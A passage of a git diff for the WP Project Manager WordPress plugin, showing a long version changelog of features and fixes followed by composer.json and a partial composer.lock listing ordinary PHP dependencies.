+* **New** Duplicate a task from task-list. +* **New** New components are, pm-button, pm-dropdown-menu, pm-triangle-box, pm-click-wrap, pm-popup-modal, pm-date-range-picker. +* **Update** Redesigned task-create form. +* **Update** Replace jQuery date picker to date range picker. +* **Update** Some features are moved from task create form to single task page. +* **Fix** Assigned manager in a project was not getting mail at project create time. +* **Fix** Make Multi-site compatible for fetching co-worker. +* **Fix** Invisible tools menu for co-worker. +* **Fix** Co-workers could not edit their created task. +* **Fix** 'Inbox' task create form was showing for all pagination page. +* **Fix** Showing invalid date after search outstanding task. +* **Fix** Favorite project was not working. + += v2.3.5 - Dec 19, 2019 = + +* **New** Add privacy policy in product description. +* **Fix** Sanitize data while updating task. +* **Fix** Add extra data validation on database query. + += v2.3.4 - Nov 15, 2019 = + +* **Fix** Task label are inserted two times while updating task. +* **Fix** Task update buttons can not be selected for tooltip. +* **Update** Project assigned users has been removed from user search results. +* **Update** Add text limit on task title. + += v2.3.3 - Nov 10, 2019 = + +* **New** Integrate with Pusher for real time notification. +* **New** Include seeder for project, task-list and task. +* **New** Set filter in project fetch 'join' and 'where' query. +* **Fix** Task update popover menu used to break when task title was long. +* **Update** Reset button on task-list search. + += v2.3.2 - Oct 10, 2019 = + +* **Fix** Conflict with elementor. +* **Update** Toastr library. + += v2.3.1 - Sep 26, 2019 = + +* **New** User can create new task from my-task section. +* **New** Sorting my-task table column. +* **Update** My-tasks menu is not appear in front-end. +* **Update** Reduce loading executing time for project home page. +* **Update** Refactoring code for getting projects data. + += v2.3.0 - Sep 09, 2019 = + +* **New** Remove current task, outstanding task and completed task tabs from my tasks. +* **New** Advanced task filtering option according to current task, outstanding task and completed task in my tasks section. +* **New** pm_capabilities, pm_role_project, pm_role_project_capabilities, pm_role_project_users table for permission management. +* **Update** Change single task popup url from my-task to single task lists. +* **Fix** Progress load more is not working. + += v2.2.4 - Jul 22, 2019 = + +* **New** Task title field in task list search form. +* **Fix** Task sorting is not working. +* **Fix** Prevent sorting for default task list (Inbox). +* **Update** Showing 'more task' button even there is not task. + += v2.2.3 - Jun 15, 2019 = + +* **Update** Task list search query. +* **Fix** After drag and drop task is not updating from my-task calendar. +* **Fix** Milestone disapear after reloding the page. + += v2.2.2 - Jun 28, 2019 = + +* **New** Action hook in task list page 'pm_after_task_content'. +* **New** Event initiation after task user update 'after_update_single_task_user'. +* **New** Action hook before delete task list 'pm_before_delete_task_list'. +* **Update** User gets mail at task updating time even the task is not updated. +* **Update** Archived tasks will not appear on MyTask calendar. +* **Update** New tasks are listing in the descending order in the task lists. +* **Fix** User can remove administrator from manage capability permission. +* **Fix** Inbox task list does not appear at the top of the task lists. +* **Fix** compact(): undefined index variable problem for php 7.3 +* **Fix** Text domain 'pm' to 'wedevs-project-manager'. +* **Fix** Task lists menu is not activating while clicking pagination. + += v2.2.1 - Jun 14, 2019 = + +* **Fix** Fatal error undefined function. + += v2.2.0 - Jun 14, 2019 = + +* **New** Added my task menu from where individual users can check their completed, current and outstanding tasks. +* **Fix** Assigned users can not find the task description. +* **Fix** Add new user in project does not appear in task users dropdown at task create or edit time. +* **Fix** A newly added user in a project did not appear in the dropdown i.e in the list of users while adding, creating or editing a task. +* **Fix** User can not udpate task comment from single task popup. +* **Fix** A newly added user does not appear in project update form. + += v2.1.0 - May 18, 2019 = + +* **New** Trello Integration. +* **Fix** Fixed co-worker & client create task activities. +* **Fix** Removed usermap from global setting. +* **Fix** Removed unnecessary dashicons and added title to files. +* **Fix** Resolved conflict from setting header. +* **Fix** Fixed project edit form get closed when user click out side. + += v2.0.15 - May 02, 2019 = + +* **Fix** Load more Completed & Incompleted task. +* **Fix** Pagination slug of completed task. +* **Fix** Optimize task queries for retrieving task ids. +* **Fix** The naming of variable "$milestones" to "$milestone" at filter 'pm_milestone_show_query' + += v2.0.14 - April 11, 2019 = + +* **New** Included filter at task activity and after create comment. +* **Update** Remove search user minimum 3 character condition. +* **Update** Remove tooltip from list view and kanboard view button. +* **Update** Migrated from icomoon to Flaticon. +* **Fix** API authentication problem. +* **Fix** Some textdomain. + += v2.0.13 - March 04, 2019 = + +* **New** Set loading effect for 'Load more' task. +* **New** Set loading effect at task list page and list archive page nevigation. +* **New** Set loading effect at task list pagination. +* **New** New library v-tooltip +* **Fix** Any kinds of url added extra   from tinymce text filed. +* **Fix** After project edit, the description is not updated real time. +* **Fix** Less file is not built to css file. +* **Update** Set target blank in tinymce posted url. + += v2.0.12 - Feb 15, 2019 = + +* **New** New filter welcome page redirect. +* **Fix** Task pagination did not work. +* **Fix** Close button did not work in new project form. +* **Fix** Milestone due date did not update. +* **Update** Set permission at user create time from project overview page. + += v2.0.11 - Feb 08, 2019 = + +* **New** Integrate with popper js. +* **New** Welcome page. +* **New** Premium page. +* **Fix** Change task list fetch query. +* **Fix** Change task fetch query. +* **Fix** File upload problem from discussion section. +* **Fix** After close single task the list page is refreshing. +* **Fix** Remove html tag from email content. +* **Fix** Color picker does not work. + += v2.0.10 - Dec 19, 2018 = + +* **Hotfix** Fatal error at page and post edit time. + += v2.0.9 - Dec 19, 2018 = + +* **New** Update user from overview page. +* **New** Move tasks from one list to another. +* **Update** Permission for project delete. +* **Fix** Project update time dialog-box close automatically. +* **Fix** Conflict with text editor and datepicker problem for task create. +* **Fix** Date-picker auto close, when select a date. +* **Fix** Coding standard according wordpress. + += v2.0.8 - Nov 29, 2018 = + +* **New** Project home page redesign. +* **New** Close single task popup with ESC button. +* **New** Single task popup is enable from activity page. +* **Update** Task filter form alignment. +* **Fix** Relative date for comments. +* **Fix** Tabindex for texteditor. +* **Fix** Latest activity for single task. +* **Fix** More task button missing from completed tasks. +* **Fix** Date picker auto hide problem. +* **Fix** Task list responsive issue. +* **Remove** Slicknav library. + += v2.0.7 - November 08, 2018 = + +* **New** Switch project with key binding cmd+j/clt+j. +* **New** Task list page redesign. +* **New** Single task list page redesign. +* **New** System default task list inbox. +* **New** All description fields with validation and sanitization at edit time. +* **New** Project title should be unique. +* **Fix** Task filter query. +* **Fix** Task and task-list sorting supported in mobile. + += v2.0.6 - Oct 02, 2018 = + +* **New** Set permission setting for user mail notification. +* **New** Task single page redesign. +* **New** Show activity in single task page. +* **New** Projects can mark as favourite by users. +* **New** Added completed_by and completed_at fields in pm_tasks database table. +* **New** Added status field in pm_broad database table. +* **New** Support for video file upload. +* **New** New user notification. +* **New** Advanced task filter from task list page. +* **New** Set deleted activity log in activity section. +* **Fix** Invalid time issue in activity page. +* **Fix** Overview graph for last 3o days activity +* **Fix** Get email notification when update discussion + += v2.0.5 - August 16, 2018 = + +* **New** Added filters for getting custom query in all transformers. +* **New** Project description in html format. +* **Fix** Undefined task title from activity. +* **Fix** Single task popup close automatically. +* **Fix** Activity count when delete an element. +* **Fix** Manage capability return false, when user role is not found. +* **Fix** Some translation issues. +* **Fix** Some compatibility issue on internet explorer. +* **Fix** Task assignee input field is not updating when assignee user field is Empty +* **Fix** Task list milestone input field is not updating when milestone is Empty + += v2.0.4 - July 27, 2018 = + + * **Fix** Download link for wedevs project manager php-5.6. + += v2.0.3 - July 27, 2018 = + + * **New** List drag, drop and reorder. + * **New** Task independently switch in task lists. + * **New** Added categry pagination. + * **Fix** Date format problem for task and overviews graph. + * **Update** Activity date format change. + * **Update** Load All Categories in select form. + * **Update** Load all HTTP request with GET and POST methods. + += v2.0.2 - July 23, 2018 = + + * **New** Create function for getting individual task. + * **New** Hook for all CRUD (Create, Read, Update and Delete) + * **Fix** Task complete and incomplete issues in microsoft edge browser. + * **Fix** Pagination set -1 for per page and its getting error. + * **Fix** Multisite installation and upgrade. + * **Fix** Translation for vue files. + * **Fix** Fetch project in single task page. + * **Fix** Reduce conflict with WPERP plugin. + * **Fix** JS make compitable with IE>8. + += v2.0.1 - Jun 29, 2018 = + + * **Fix:** Fix database migration problem upon updating the plugin. + += v2.0 - Jun 28, 2018 = + + * **BREAKING**: This **v2.0** release is a major version and introduces breaking changes by re-writing the whole plugin. Please test the plugin before updating from v1.x. Taking a **database backup** is adviced. + * **New:** REST API added. Now you can access everything of project manager via the API. Creating of mobile apps would be much easier. + * **New:** Moved from custom post type to custom database tables, which performs a lot faster. + * **New:** We have re-written the Project Management UI, powered by [Vue.js](https://vuejs.org/). This introduces a SPA (Single Page Application) with blazing fast page loading and a snappier user experience. + * **Bug Fixes:** We have also squashed a lot pesky bugs under the hood. + += 1.6.16 - Jun 11, 2018 = + + * [fixed] Project title is overlaping on RTL language. + * [fixed] Could not select project category while creating/editing a project. + * [fixed] Single task is not re-rendering + += 1.6.15 - May 10, 2018 = + + * [fixed] Task list is not showing when using the Internet Explorer browser. + * [fixed] Projects dashboard display missing alignment. + * [Update] Improved plugin strings. + += 1.6.14 - April 26, 2018 = + + * [fixed] Task is not showing after clicking on a task from the calendar. + * [fixed] Mail notificaation system not working. + * [fixed] Category menu selection while creating project not working on RLT. + * [fixed] RTL display missing alignment on milestone. + += 1.6.13 - April 12, 2018 = + + * [fixed] RTL display missing alignment. + * [fixed] Settings menu is not showing properly on projects header. + * [fixed] Project settings page translation not working. + += 1.6.12 - March 22, 2018 = + + * [fixed] Showing HTML markup in task descriptions when we enter plain text. + * [fixed] To-do list, Discussion, milestone, page translation not working. + * [fixed] Projects page translation not working. + * [update] Improved plugin strings. + += 1.6.11 - February 26, 2018 = + + * [fix] Notify users while commenting in a task. + * [fix] Trix-editor intregration with the WP ERP. + * [fix] Compatible with the Microsoft Edge browser. + * [fix] Task re-ordering. + * [fix] Project list and grid view compatible with all browsers. + += 1.6.10 - November 27, 2017 = + + * [new] Vuejs loading made compact. + * [new] Included vuejs in project file. + * [update] Included file download attributes. + * [update] Notify manager when updating comments. + * [fix] Navigate to a task from the calendar. + * [fix] User search problem fixed when creating a project. + * [fix] Text editor style problem fixed. + += 1.6.9 - August 24, 2017 = + + * [Fix] CPM free loader class active after loading WP all plugins + * [Fix] All co-workers get mail after completed the task + * [new] weForms Upsell Class + += 1.6.8 - August 17, 2017 = + + * [Fix] Prevent the loading trix-editor for all WP page. + * [Fix] Text formating retained got from others editor. + * [Fix] Creating second task does change the date of first task. + * [new] Add new component cpm-datepicker + += 1.6.7 - August 01, 2017 = + + * [new] Js Tiptip library has been added. + * [update] Condition applied when showing calender on setting tast start date. + * [update] Date icon has been shown if no date was set. + * [update] Description icon has been shown if no description was set. + * [update] Co-Worker icon has been shown if no Co-Worker was set in the task. + * [fix] Double date picker shown at task date update time. + * [fix] Undefined index errors. + += 1.6.6 - July 31, 2017 = + + * [new] Task title update from single task page. + * [new] Task privacy update from single task page. + * [new] Task description update from single task page. + * [new] Task start and end date update from single task page. + * [new] Add user/co-worker/client from single task page. + * [fix] Unable to complete task. + * [fix] When complete a task then this completed task shown double in the to-do list. + * [fix] Double "New To-Do" button shown. + * [update] 'Get project id' function always return false. + * [update] Design change for single task page. + += 1.6.5 - July 6, 2017 = + + * [fix] Co-worker can not show the list corner menu. + * [fix] Co-Worker could not notifying when add or update project. + * [fix] Double "New To-Do" button shown and also cpm-new-todolist-form has shown when clicked "New To-Do" List button. + * [fix] Project create permission. + * [fix] Get complete and incomplete task query + * [fix] Change routing effect at todo-list page to another page + += 1.6.4 - June 22, 2017 = + + * [new] Task list-view on the right corner in to-do list section. + * [update] Notify co-workers on task completion. + * [update] Task update action hook. + * [update] Style sheets updated. + * [update] Some javascript refactored. + * [fix] Wrong color is showing for a task on basis of task competion status. + * [fix] PHP warning on project overview. + * [fix] PHP warning on my task overview. + += 1.6.3 - June 07, 2017 = + + * [new] Drag and drop sortability added to the task + * [update] Task color scheme. + * [update] Activity graph color scheme in my task section. + * [update] Single task redirection in my task section. + * [update] Project duplication. + * [update] Project overview section. + * [fix] Grid/List view action on project listing is not working. + * [fix] Project overview graph is not working. + * [fix] Not all users of a project is being duplicated when duplicating a project. + * [fix] Notification is sent to the co-workers when a project is created. + * [fix] Unable to comment in a task when it is redirected from current task in my task. + * [fix] Unable to comment in a task when it is redirected from outstanding task in mytask. + * [fix] Unable to comment in a task when it is redirected from competed task in my task. + * [fix] User selection is not working in my task. + * [fix] Date section is not working in activity graph in my task. + * [fix] Red color is showing for current task in my task. + * [fix] Overview section in my task is not working + * [fix] Activity section in my task is not working + * [fix] Current task section in my task is not working + * [fix] Outstanding task section in my task is not working + * [fix] Completed task section in my task is not working + * [fix] File attachment is not working when commenting in the file section of a project. + * [fix] Unable to delete a comment in the file section of a project. + * [fix] Commenting in a discussion board is not working. + * [fix] Editing a comment in a discussion board is not working. + * [fix] Deleting a comment in a discussion board is not working. + * [fix] Javascript shows error when commenting, editing comments and deleting comments in discussion board. + += 1.6.2 - April 27, 2017 = + + * [new] Email template for mentioning users in a comment. [pro] + * [new] Moment js dependency added. + * [new] Compatibility for mentioning users in a comment. + * [update] Include filter for register project post type. + * [update] Include filter for register project taxonomy. + * [update] Change pagination position from left to right. + * [update] Pagination has been shown up and down of to-do lists content. + * [update] Single task url. + * [update] To-do lists progress bar. + * [update] Unnecessary parameters removed form wp_enqueue_script in cpm. + * [update] Array declaration according to lower version of php. + * [fix] Can’t use function return value in write context. + * [fix] Syntax error, unexpected '[' + * [fix] Filtering for to-do lists private view. + * [fix] Filtering problem for the visibility of to-do lists create button. + * [fix] List style problem in tiny-MCE comment box while commenting on discussion board. + * [fix] WP nonce problem in project discussion. + += 1.6.1 - April 11, 2017 = + + * [fix] Load JS files only in todo list page + * [fix] Fix typo in todo list privacy checking capability + * [fix] Shortcode rendering in comments + * [fix] Remove users from notification panel outside of the project members + * [fix] Removed PHP array shorthand declaration + * [fix] Single task URL problem in My Task + += 1.6 - April 08, 2017 = + + * [new] Use js library Vue + * [new] Design layout changed for To-do Lists. + * [new] Real time update every action for To-do lists. + * [new] Two way data binding for to-do list edit + * [new] Two way data binding for task edit + * [new] Task lazy loading. + * [new] Vue routing for single To-do list + * [new] Real time pagination. + * [new] Completed and incomplete label added for corresponding tasks in single to-list. + * [update] Discussion editor changed from tricks to tinymce. + * [update] Real time change of progress bar. + * [update] Assign user to task options changed from choosen to Vue multiselect. + * [update] User avatar(gravatar) link changed form 404 to mm + * [fix] Remove comments link from overview. + * [fix] All functionalities for to-do list. + += 1.5.1 - September 19, 2016 = + + * [new] Send Email Notification when a comment updates. + * [new] Add filter for how many letter to show when image name is long in files tab. + * [fix] Fixed conflict with buddypress. + * [fix] Fixed Project creation capability and update language files. + * [fix] Made Report print friendly. + * [fix] Files tab loading improvement. + * [fix] Show all comments in newly uploaded file view. + * [fix] Client view private discussion. + += 1.5 - August 20, 2016 = + + * [new] Report section new design. + * [new] New Report item added. + * [new] Files tab new design and add new feature in pro version. + * [new] Add option for create document and connect to other online Docs. + * [new] Add option to upload files / attachment direct to a project. + * [fix] Duplicate mail send on project create. + * [fix] Change cpm_get_option function. + += 1.4.3 - May 30, 2016 = + + * [fix] Milestone input date and project redirect issue after create. + * [fix] Sorting completed milestone + * [fix] Image broken in emails + * [fix] File upload on first discussion problem fix. + * [fix] Task Done/Undone tick problem fix. + * [fix] New user create on project create or update problem fix. + * [fix] Department or personal projects show in ERP integration. + += 1.4.2 - April 6, 2016 = + + * [fix] Project permission problem in free version + += 1.4.1 - March 28, 2016 = + + * [new] Task list sticky option added as a replacement for sorting + * [new] Proper mime type icon set + * [new] Initial ERP integration added + * [fix] Front-end URL issue + += 1.4 - March 13, 2016 = + + * [new] UI Re-designed + * [new] Tasks now have a description field + * [tweak] As now we have description in tasks, previous tasks were updated. + * [tweak] Project post_type changed from `project` to `cpm_project` + * [tweak] Task post_type changed from `task` to `cpm_task` + * [tweak] Task List post_type changed from `task_list` to `cpm_task_list` + * [tweak] Milestone post_type changed from `milestone` to `cpm_milestone` + * [tweak] Message post_type changed from `message` to `cpm_message` + * [tweak] project_category taxonomy changed from `project_category` to `cpm_project_category` + += 1.3.8 - October 20, 2015 = + + * [fix] Front-end current task, outstanding task and completed task url problem fix + * [fix] Without login can access front-end problem fix + * [fix] Current task, outstanding task and completed task live update problem fix. + * [fix] Fetch outstanding and completed task problem fix + += 1.3.7 - October 15, 2015 = + + * [fix] Fix LogicException on autoloader + += 1.3.6 - October 15, 2015 = + + * [fix][pro] Add category for front-end + * [fix] Email notification subject issue fixed + += 1.3.5 - September 29, 2015 = + + * [fix] User role and items table weren't being created during install + += 1.3.4 - September 19, 2015 = + + * [fix] Pagination error fix in free version + * [fix] Project manage/create cap option brought back to free + * [fix] Version upgrader issue fixed + += 1.3.3 - September 15, 2015 = + + * [fix] Single project permission issue + += 1.3.2 - September 14, 2015 = + + * [fix] Project Duplication error + * [fix] New task assignmed email subject was missing + += 1.3.1 - September 11, 2015 = + + * [fix] File missing problem for front-end + * [fix] Plugin path in updater + += 1.3 - September 3, 2015 = + + * [improved] Free/Pro separation. Massive code change + * [improved] Email notification templates updated. Removed the settings from admin. + += 1.2.2 - June 9, 2015 = + +* [fix] Fatal error on frontend + += 1.2.1 - June 7, 2015 = + +* [fix] Project report datepicker wasn't showing +* [fix] URL management for admin/frontend +* [improved] Plugin updater + += 1.2 - June 4, 2015 = + +* [new] Project Reporting +* [new] Progress accross all the projects +* [new] JSON REST API integration added + += 1.1 - April 19, 2015 = + +* [new] Daily digest feature added +* [improved] Plugin upgrade routine updated + + += 1.0 - March 1, 2015 = + +* [fix] Project delete time shoud be deleted all child post +* [fix] Active Tabs not working for To-do Lists & Settings +* [fix] Comment link problem for Subtask +* [improved] Duplicate project - To-do lists order lost +* [new] assign a task to more than one user +* [new] Search feature +* [new] Filter projects by clients +* [new] Pagination in project home page +* [fix] Files Tab Doesn't show any attachement to Client +* [fix] Long Project Title Problem +* [new] witch for disabling certain E-mail notification +* [fix] Project manager date format is fixed +* [fix] E-mail URL Problem +* [new] Email Notification ON/OFF feature +* [fix] Link in message body not working +* [new] Rich text editor + + += 0.5.3 - April 19, 2014 = + +* [fix] 1 day decrease due to gmt_offset when updating todo +* [fix] Added checking on single message/todo/milestone for unauthorized access +* [new] BCC on/off settings for notification +* [improved] Scrolling project people when more peoples are added on listing + += 0.5.2 - Mar 25, 2014 = + +* [fix] privacy bug in milestone +* [fix] project_category removed from project filter +* [fix] milestone duplicate assignment +* [fix] milestone lock icon +* [fix] addons menu removed for other users + += 0.5.1 = + +* default from email field added +* separate calender and my task script function +* avatar bug fix +* stopwatch function removed +* task trigger position changed +* remove font family +* number of projects bug fix in listing + += 0.5 = + +* Pro version released + += 0.4.3 = + +* new: Spanish translation +* new: German translation +* new: Indonesian translation +* fix: milestone datepicker issue +* fix: some typo fixes +* improved: comment count next to tasklists + +### 0.4.2 + +* bug fix: project activity/comments on frontend widget +* bug fix: project activity/comments on comment rss +* bug fix: number of milestones +* improved: plugin textdomain loading +* new: project task progressbar on project listing +* new: tasklist sorting +* new: task sorting +* new: Dutch translation language added +* new: Brazilian Portuguese language added + +### 0.4.1 + +* bug fix: attachment association problem on comment update +* bug fix: error on message update + +### 0.4 + +* improved: default email format changed to 'text/plain' from 'text/html' +* improved: toggle added on user notification selection +* improved: only date was showing on single message details, time added +* improved: some filters added on URLs +* bug fix: actual file url hidden on files tab for privacy +* bug fix: any user could edit any users message +* bug fix: any user could delete any users message +* new: admin settings page added +* new: email template added +* new: French translation added +* new: file upload size settings added + +### 0.3.1 + +* comment update bug fix +* project activity is now grouped by date +* "load more" button added on project activity +* some function documentation added. + +### 0.3 + +* Translation capability added +* Attachment security added. All files are now served via a proxy script + for security with permission checking. + +### 0.2.1 + +* Comments display error fix + +### 0.2 + +* Remove comments from listing publicly +* Post types are hidden from search + +### 0.1 +Initial version released diff --git a/composer.json b/composer.json index d7b89932b..7fd1bb73f 100644 --- a/composer.json +++ b/composer.json @@ -1,52 +1,52 @@ -{ - "name": "wedevsofficial/wp-project-manager", - "description": "A project management plugin for WordPress", - "type": "wordpress-plugin", - "license": "GPL-2.0+", - "authors": [ - { - "name": "asaquzzaman", - "email": "joy.mishu@gmail.com", - "homepage": "http://mishubd.com" - }, - { - "name" : "Tareq Hasan", - "email" : "tareq@wedevs.com", - "homepage": "https://tareq.co/" - }, - { - "name": "asikur", - "email": "md.asikurislam@gmail.com" - } - ], - "require": { - "php": ">=5.6.37", - "league/fractal": "^0.17.0", - "a5hleyrich/wp-background-processing": "^1.0", - "tareq1988/wp-eloquent": "dev-master", - "appsero/client": "^1.2", - "simshaun/recurr": "^4.0" - }, - "autoload": { - "classmap": [ - "db" - ], - "psr-4": { - "WeDevs\\PM\\Core\\": "core/", - "WeDevs\\PM\\": "src/" - } - }, - "require-dev": { - "fzaninotto/faker": "^1.8", - "squizlabs/php_codesniffer": "^3.5.8", - "dealerdirect/phpcodesniffer-composer-installer": "^0.7.0", - "phpcompatibility/phpcompatibility-wp": "2.1.0", - "wp-coding-standards/wpcs": "^2.3.0" - }, - "config": { - "allow-plugins": { - "kylekatarnls/update-helper": true, - "dealerdirect/phpcodesniffer-composer-installer": true - } - } -} +{ + "name": "wedevsofficial/wp-project-manager", + "description": "A project management plugin for WordPress", + "type": "wordpress-plugin", + "license": "GPL-2.0+", + "authors": [ + { + "name": "asaquzzaman", + "email": "joy.mishu@gmail.com", + "homepage": "http://mishubd.com" + }, + { + "name" : "Tareq Hasan", + "email" : "tareq@wedevs.com", + "homepage": "https://tareq.co/" + }, + { + "name": "asikur", + "email": "md.asikurislam@gmail.com" + } + ], + "require": { + "php": ">=5.6.37", + "league/fractal": "^0.17.0", + "a5hleyrich/wp-background-processing": "^1.0", + "tareq1988/wp-eloquent": "dev-master", + "appsero/client": "^1.2", + "simshaun/recurr": "^4.0" + }, + "autoload": { + "classmap": [ + "db" + ], + "psr-4": { + "WeDevs\\PM\\Core\\": "core/", + "WeDevs\\PM\\": "src/" + } + }, + "require-dev": { + "fzaninotto/faker": "^1.8", + "squizlabs/php_codesniffer": "^3.5.8", + "dealerdirect/phpcodesniffer-composer-installer": "^0.7.0", + "phpcompatibility/phpcompatibility-wp": "2.1.0", + "wp-coding-standards/wpcs": "^2.3.0" + }, + "config": { + "allow-plugins": { + "kylekatarnls/update-helper": true, + "dealerdirect/phpcodesniffer-composer-installer": true + } + } +} diff --git a/composer.lock b/composer.lock index 13109fa7b..60a33eb3f 100644 --- a/composer.lock +++ b/composer.lock @@ -1,1444 +1,1444 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "be55897275591c53f78d1a59f2396900", - "packages": [ - { - "name": "a5hleyrich/wp-background-processing", - "version": "1.0.2", - "source": { - "type": "git", - "url": "https://github.com/deliciousbrains/wp-background-processing.git", - "reference": "2cbee1abd1b49e1133cd8f611df4d4fc5a8b9800" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/deliciousbrains/wp-background-processing/zipball/2cbee1abd1b49e1133cd8f611df4d4fc5a8b9800", - "reference": "2cbee1abd1b49e1133cd8f611df4d4fc5a8b9800", - "shasum": "" - }, - "require": { - "php": ">=5.2" - }, - "suggest": { - "coenjacobs/mozart": "Easily wrap this library with your own prefix, to prevent collisions when multiple plugins use this library" - }, - "type": "library", - "autoload": { - "classmap": [ - "classes/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "GPL-2.0-or-later" - ], - "authors": [ - { - "name": "Delicious Brains", - "email": "nom@deliciousbrains.com" - } - ], - "description": "WP Background Processing can be used to fire off non-blocking asynchronous requests or as a background processing tool, allowing you to queue tasks.", - "support": { - "issues": "https://github.com/deliciousbrains/wp-background-processing/issues", - "source": "https://github.com/deliciousbrains/wp-background-processing/tree/1.0.2" - }, - "time": "2020-07-31T07:00:11+00:00" - }, - { - "name": "appsero/client", - "version": "v1.2.2", - "source": { - "type": "git", - "url": "https://github.com/Appsero/client.git", - "reference": "5f9a275cdd94d756d2f5b05d9281719c6d638561" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/Appsero/client/zipball/5f9a275cdd94d756d2f5b05d9281719c6d638561", - "reference": "5f9a275cdd94d756d2f5b05d9281719c6d638561", - "shasum": "" - }, - "require": { - "php": ">=5.3" - }, - "type": "library", - "autoload": { - "psr-4": { - "Appsero\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Tareq Hasan", - "email": "tareq@appsero.com" - } - ], - "description": "Appsero Client", - "keywords": [ - "analytics", - "plugin", - "theme", - "wordpress" - ], - "support": { - "issues": "https://github.com/Appsero/client/issues", - "source": "https://github.com/Appsero/client/tree/v1.2.2" - }, - "time": "2022-12-15T06:49:01+00:00" - }, - { - "name": "doctrine/collections", - "version": "v1.4.0", - "source": { - "type": "git", - "url": "https://github.com/doctrine/collections.git", - "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/doctrine/collections/zipball/1a4fb7e902202c33cce8c55989b945612943c2ba", - "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba", - "shasum": "" - }, - "require": { - "php": "^5.6 || ^7.0" - }, - "require-dev": { - "doctrine/coding-standard": "~0.1@dev", - "phpunit/phpunit": "^5.7" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.3.x-dev" - } - }, - "autoload": { - "psr-0": { - "Doctrine\\Common\\Collections\\": "lib/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Roman Borschel", - "email": "roman@code-factory.org" - }, - { - "name": "Benjamin Eberlei", - "email": "kontakt@beberlei.de" - }, - { - "name": "Guilherme Blanco", - "email": "guilhermeblanco@gmail.com" - }, - { - "name": "Jonathan Wage", - "email": "jonwage@gmail.com" - }, - { - "name": "Johannes Schmitt", - "email": "schmittjoh@gmail.com" - } - ], - "description": "Collections Abstraction library", - "homepage": "http://www.doctrine-project.org", - "keywords": [ - "array", - "collections", - "iterator" - ], - "support": { - "issues": "https://github.com/doctrine/collections/issues", - "source": "https://github.com/doctrine/collections/tree/master" - }, - "time": "2017-01-03T10:49:41+00:00" - }, - { - "name": "doctrine/inflector", - "version": "v1.1.0", - "source": { - "type": "git", - "url": "https://github.com/doctrine/inflector.git", - "reference": "90b2128806bfde671b6952ab8bea493942c1fdae" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/doctrine/inflector/zipball/90b2128806bfde671b6952ab8bea493942c1fdae", - "reference": "90b2128806bfde671b6952ab8bea493942c1fdae", - "shasum": "" - }, - "require": { - "php": ">=5.3.2" - }, - "require-dev": { - "phpunit/phpunit": "4.*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1.x-dev" - } - }, - "autoload": { - "psr-0": { - "Doctrine\\Common\\Inflector\\": "lib/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Roman Borschel", - "email": "roman@code-factory.org" - }, - { - "name": "Benjamin Eberlei", - "email": "kontakt@beberlei.de" - }, - { - "name": "Guilherme Blanco", - "email": "guilhermeblanco@gmail.com" - }, - { - "name": "Jonathan Wage", - "email": "jonwage@gmail.com" - }, - { - "name": "Johannes Schmitt", - "email": "schmittjoh@gmail.com" - } - ], - "description": "Common String Manipulations with regard to casing and singular/plural rules.", - "homepage": "http://www.doctrine-project.org", - "keywords": [ - "inflection", - "pluralize", - "singularize", - "string" - ], - "support": { - "source": "https://github.com/doctrine/inflector/tree/master" - }, - "time": "2015-11-06T14:35:42+00:00" - }, - { - "name": "illuminate/container", - "version": "v5.4.36", - "source": { - "type": "git", - "url": "https://github.com/illuminate/container.git", - "reference": "c5b8a02a34a52c307f16922334c355c5eef725a6" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/illuminate/container/zipball/c5b8a02a34a52c307f16922334c355c5eef725a6", - "reference": "c5b8a02a34a52c307f16922334c355c5eef725a6", - "shasum": "" - }, - "require": { - "illuminate/contracts": "5.4.*", - "php": ">=5.6.4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.4-dev" - } - }, - "autoload": { - "psr-4": { - "Illuminate\\Container\\": "" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Taylor Otwell", - "email": "taylor@laravel.com" - } - ], - "description": "The Illuminate Container package.", - "homepage": "https://laravel.com", - "support": { - "issues": "https://github.com/laravel/framework/issues", - "source": "https://github.com/laravel/framework" - }, - "time": "2017-05-24T14:15:53+00:00" - }, - { - "name": "illuminate/contracts", - "version": "v5.4.36", - "source": { - "type": "git", - "url": "https://github.com/illuminate/contracts.git", - "reference": "67f642e018f3e95fb0b2ebffc206c3200391b1ab" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/illuminate/contracts/zipball/67f642e018f3e95fb0b2ebffc206c3200391b1ab", - "reference": "67f642e018f3e95fb0b2ebffc206c3200391b1ab", - "shasum": "" - }, - "require": { - "php": ">=5.6.4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.4-dev" - } - }, - "autoload": { - "psr-4": { - "Illuminate\\Contracts\\": "" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Taylor Otwell", - "email": "taylor@laravel.com" - } - ], - "description": "The Illuminate Contracts package.", - "homepage": "https://laravel.com", - "support": { - "issues": "https://github.com/laravel/framework/issues", - "source": "https://github.com/laravel/framework" - }, - "time": "2017-08-26T23:56:53+00:00" - }, - { - "name": "illuminate/database", - "version": "v5.4.36", - "source": { - "type": "git", - "url": "https://github.com/illuminate/database.git", - "reference": "405aa061a5bc8588cbf3a78fba383541a568e3fe" - }, - "dist": { - "type": "zip", - "url": 